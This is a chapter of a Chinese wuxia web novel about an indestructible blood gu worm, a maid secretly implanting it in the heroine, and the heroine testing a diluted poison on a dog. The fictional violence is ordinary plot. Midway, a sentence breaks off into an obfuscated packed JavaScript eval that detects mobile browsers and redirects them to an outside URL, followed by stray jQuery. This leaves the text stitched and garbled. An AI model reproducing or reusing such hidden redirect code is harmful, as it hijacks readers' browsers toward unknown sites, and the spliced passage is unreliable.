简敬行来得快走得也快,眨眼间便无影无踪。
竹林再次恢复平静,季之亦松开手,一跃而下。
看着手中的木盒,没有丝毫犹豫运功捏碎,露出里面藤编笼子,血红色蠕虫在其中爬来爬去,粘液沾满每一根藤。
季之亦露出嫌弃的表情,扔在地上一脚踩下,藤编笼子应声而碎,但却没有想象之中蛊虫被踩遍的场景。
没死。
硬邦邦的脚感让季之亦眉头越蹙越深,抬起脚,只见血蛊慢吞吞翻了个身。
有点棘手。
下一瞬,银光乍闪,地上被劈开一道足有几米长的深刻剑痕,然而血蛊依旧完好无损。
“杀不死。”季之亦低声自语,剑尖挑起血蛊横在眼前观察。
不止杀不死,甚至没有伤到分毫,通体连一抹划痕都没有。
季之亦运行内功,叶随风动,很快汇聚成一小堆,血蛊被置于其中,剑体擦过石头,溅起火星。
叶堆被点燃,越烧越旺。
然而,很快,一抹血红从火堆中爬出来,钻入土中冒出屡屡白烟。
看着那块地方,季之亦突然道:“系统,出来。”
过了几会,颇为幽怨的系统声冒出来,“都说了,不要这样叫我,能不能有点礼貌。”
季之亦自动过滤它的话,“如何杀死血蛊。”
拿它当百度百科呢?
系统傲娇地哼出声,“任务都没开始,你就想使唤我,做梦。”
季之亦一本正经道:“我没杀池缨晚。”
“这不是应该的吗!”系统叫起来,“这算哪门子任务。”
“那你的意思是我可以随时杀了她?”季之亦反问。
“你…耍赖!”好狡猾的人类。
系统吭哧半天,还是觉得不能轻易妥协,“必须是跟赫连溪相关的才行,否则我检测不出剧情波动,没办法帮你。再说了,这东西你自己派人去查不也行吗?”
季之亦挥手一击,跃跃欲试准备钻洞的血蛊被冻了个结结实实。
“麻烦,我要现在就杀了血蛊。”
“呵。”系统冷笑,学他的口气,“那你自己解决吧。”
季之亦平静地点点头,“行,知道了。”
小院二楼。
池缨晚上完药躺在床上,睁着眼睛看床顶,思忖着要怎么拐走应雪。
如今在应雪心里学武报仇比天大,而她不止提供不了一点帮助,甚至还在她仇人组织里上班。
天崩开局到哪都改不了了。
池缨晚抱着脑袋在床上打了个滚,发出痛苦的哀嚎。
房门被敲响,莺莺在外面唤她,“少夫人…”
“咦?”这么晚了还来敲门,池缨晚一个咕噜坐起身来,面带疑惑地应了一嗓子,“什么事?”
“少庄主说他刚刚寒毒发作误伤了少夫人,让我前来送药。”
“进来吧。”
莺莺端着一盘药瓶进来,脸上始终带着笑,在她床边坐下,轻声细语道:“夫人的伤是冻伤,不能用金疮药,少庄主说此药专治冻伤。”
池缨晚内心嗤之以鼻,打一巴掌再给一个甜枣,我去他的!
莺莺动作轻柔的将池缨晚自己上的药擦掉,又重新上药,“少夫人这两日手不能碰水,也不能劳累…”
“嗯嗯嗯知道了。”池缨晚认真打量着她,干净的衣服干净的鞋底,应该没有出门。
“对了,山岚和应雪呢?”
“随白璇在后院练武呢。”
“你怎么不去?”
“我身子弱,受不得累,所以…”莺莺恬然一笑,“夫人不会嫌弃我吧?”
“当然不会。”池缨晚眼皮有些重,看她都重影了,还在强撑着安慰,“你们各有各的长处,心细如发是你的…”
声音越来越小,直至完全消失沉睡。
莺莺脸上笑容不变,凑到她耳边唤了几声,“少夫人?”
“少夫人醒醒…”
池缨晚没有任何反应。下一瞬,莺莺敛起笑容,面无表情地为她把脉。
片刻后拆开已经包扎好的白布,从筒靴一侧抽出匕首,在患处又割开一道口子。
鲜血涌出,顺着雪白皓腕滴落,被莺莺接到一个瓷瓶内,直至接满后丢下血蛊。
很快,整瓶血以肉眼可见的速度减少,然后从中爬出一个足有人半截小指粗的血蛊,直直地,缓慢地冲着池缨晚垂在床边的手腕爬去。
然后消失在伤口中。
“吱——”房门被关上。
莺莺端着木盘转到拐角处的小房间,轻手轻脚推门进去。
单膝跪下,“少庄主,血蛊已种下。”
房内没点灯,季之亦站在窗边向下看,脑海中系统气急败坏的声音已经响了小半日。
“下去吧。”
已经下了的决定,他便不会再犹豫后悔,何况他给过系统机会,是它自己不要的。
月光皎皎,三层木楼寂静,一道黑影在林间闪过,悄无声息进了房间,在刚刚莺莺跪下的地方站定。
毕恭毕敬的汇报,“炎承桦已废,断手和金印也已经送往摄政王府。”
来人正是在外找了一天人的赤霄,黑色夜行服浸入夜色,重重的铁锈腥味从他身上蔓延至整间屋子,浓稠的血液透过一层薄薄的衣料滴落在地。
季之亦关上窗,“嗯,到山外等着,若有人来就放进来。”
“是。”赤霄说完又无声无息的消失。
次日,池缨晚再次睁开眼已经天光大亮。
手腕被白布包裹严实,散发着淡淡的药香,伤口也不复昨日的疼痛。
脑袋还有些昏沉,池缨晚晃了晃头,“山岚。”
“少夫人,你醒啦。”山岚推门进来。
“我睡了多久?”池缨晚揉揉眼睛,掀被下床,“外面情况怎么样?”
“一夜呀。”山岚挠了下脸,有些拿不准,“少庄主昨天夜半才回来,今晨天没亮又带人出去了。村里的人已经让三小姐换上圣女衣服出来接受拜谒了。”
“哈?她就没闹?”不像季之惠的性格啊。
山岚摇头,“我也觉得不对劲,三小姐坐在轿子上一点反应都没有,小郡王的侍从上前抢人时她也是一动没动,要不是眼睛还眨着,我还以为…”
她缩着脖子看了看门窗,凑近到池缨晚耳边小声道:“我还以为三小姐已经死了呢。”
池缨晚第一反应就是季之惠中了血牵丝。
“少夫人,你今天还出去吗?”
还出去?她嫌自己命长吗?!
“不不不,我今天就在院子里看你们练武。”池缨晚抖了下身子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411687|167428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掬起一捧水洗脸。
清醒了。
拎着小板凳坐在廊下,之前的回忆一幕幕在眼前回放,越放越气,越气越清晰。
窝囊啊!太窝囊!先是霜华,然后是燕俞宁,季之惠,再是季之亦。
她永远是被威胁拿捏的那个。
霜华已经死了,剩下三个……尤其是昨天企图弄死她的季之亦!
不报此仇,誓不为人!
池缨晚的手一下下摩挲着耳坠上的珠子,突然看到院门外一条小黄狗颠颠跑过去。
她眼睛亮了下。
起身上楼,把耳坠上的珠子拿下来,轻轻一捏碾成粉末,撒进她早晨吃剩下的糕点上。
池缨晚脸上荡起笑意,“嘿嘿,我让你制冷,我让你发神经,我让你暗戳戳的威胁我。”
当初原身给季之亦下毒时,上头的要求是让他痛苦难受,但不能马上死,所以她耳坠上的两颗珠子其实是缓解他身上毒发作频率的。
只要他们俩经常待在一起,季之亦的死期还早呢。
但是现在她不开心,所以药量减半!
端着糕点跑下楼,站在院门口将小黄狗唤过来,“嘬嘬嘬…”
小黄狗闻了一下就狼吞虎咽的大口大口吃。
池缨晚蹲在地上,下巴抵着膝盖,笑呵呵地看着它吃,口中不停,“吃,多吃点,大补!”
这里面可都是好东西。
“你在干什么?”头顶突然传出季之亦的声音。
哦吼,制冷剂机回来了。有点小脾气但不敢发的池缨晚头也不抬地回他,“给狗喂吃的啊,你看不到吗?”
“嫂子还真是好兴致。”季之泽的声音沉得几乎要滴水,脸色难看得像是被关了几天没饭吃似的,憔悴和愤怒交杂。
“三妹没救回来,你还有心思喂狗。”
池缨晚撇嘴,慢慢起身,“三岁小孩都知道,偷东西是不对的,二弟与其把脾气发我身上不如去劝三妹妹把东西交出来。”
“砰!”院子里的晾架被季之泽掀翻,“三妹妹说了,她刚进去就晕了,没偷东西。”
池缨晚耸耸肩,“哦。”跟她又没关系,冲她发得哪门子脾气。
“夫君,我回房了。”她不想搭理这个颠公,起身拍了拍手上的碎渣,转身回房。
房门被打开,季之亦站在门口看着她,“夫人今日身体可有不适?”
池缨晚从他语气中没有听到一丝关心,暗暗翻了个白眼,“夫君还还知道关心我啊?”
“最近诸事繁多,我寒毒发作误伤到夫人…”
“误伤??”池缨晚提高音量,摸着自己手腕上的白纱布,纷纷不平道:“我手都差点废了,夫君一两句话就想打发我?”
“那夫人想如何?”过了一夜,季之亦好像又回到了之前平和温润的性子,施施然坐下,一副洗耳恭听的模样。
池缨晚认认真真的看他,确定没像昨日那般后,抿了抿唇,“现在没有想法,不如欠着,等出了锁玉村后再说?”
“好。”季之亦点头应下,“今夜我们就离开,夫人把重要物品随身带上便好,其他的都不要了。”
“事情都解决了?三妹妹怎么办?”
季之亦嘴角的弧度缓缓缓上扬,看向院子里交谈的众人,“名剑山庄的人,不是他们想留就能留的。”